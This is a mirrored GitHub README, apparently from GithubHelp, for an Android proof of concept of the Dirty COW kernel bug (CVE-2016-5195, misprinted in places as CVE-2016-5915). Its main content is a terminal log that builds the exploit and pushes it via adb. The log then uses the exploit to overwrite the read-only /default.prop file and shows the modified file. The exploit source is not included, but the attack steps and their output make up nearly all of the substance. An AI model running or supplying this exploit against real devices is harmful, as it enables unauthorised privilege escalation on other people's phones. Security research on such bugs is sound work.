GithubHelp home page GithubHelp logo

le-noonz / cve-2016-5195 Goto Github PK

View Code? Open in Web Editor NEW

This project forked from timwr/cve-2016-5195

0.0 2.0 0.0 8 KB

CVE-2016-5915 (dirtycow/dirtyc0w) proof of concept for Android

Makefile 27.26% C 72.74%

cve-2016-5195's Introduction

CVE-2016-5195

CVE-2016-5915 (dirtycow/dirtyc0w) proof of concept for Android

$make run
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
make[1]: Entering directory `CVE-2016-5195'
[armeabi] Compile thumb  : dirtycow <= dirtyc0w.c
[armeabi] Executable     : dirtycow
[armeabi] Install        : dirtycow => libs/armeabi/dirtycow
make[1]: Leaving directory `CVE-2016-5195'
adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
[100%] /data/local/tmp/dirtycow
adb pull /default.prop default.prop
[100%] /default.prop
sed -i.bak s/ADDITIONAL_DEFAULT_PROPERTIES/ADDIRTYCOW_DEFAULT_PROPERTIES/g default.prop
adb push default.prop /data/local/tmp/default.prop
[100%] /data/local/tmp/default.prop
adb shell '/data/local/tmp/dirtycow /default.prop "`cat /data/local/tmp/default.prop`"'
mmap 0x400f1000

^CMakefile:11: recipe for target 'run' failed
make: *** [run] Interrupt


adb shell 'cat /default.prop'
#
# ADDIRTYCOW_DEFAULT_PROPERTIES
#
ro.secure=1
ro.allow.mock.location=0
persist.mtk.aee.aed=on
ro.debuggable=0
persist.sys.usb.config=mtp
persist.service.acm.enable=0
ro.mount.fs=EXT4

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.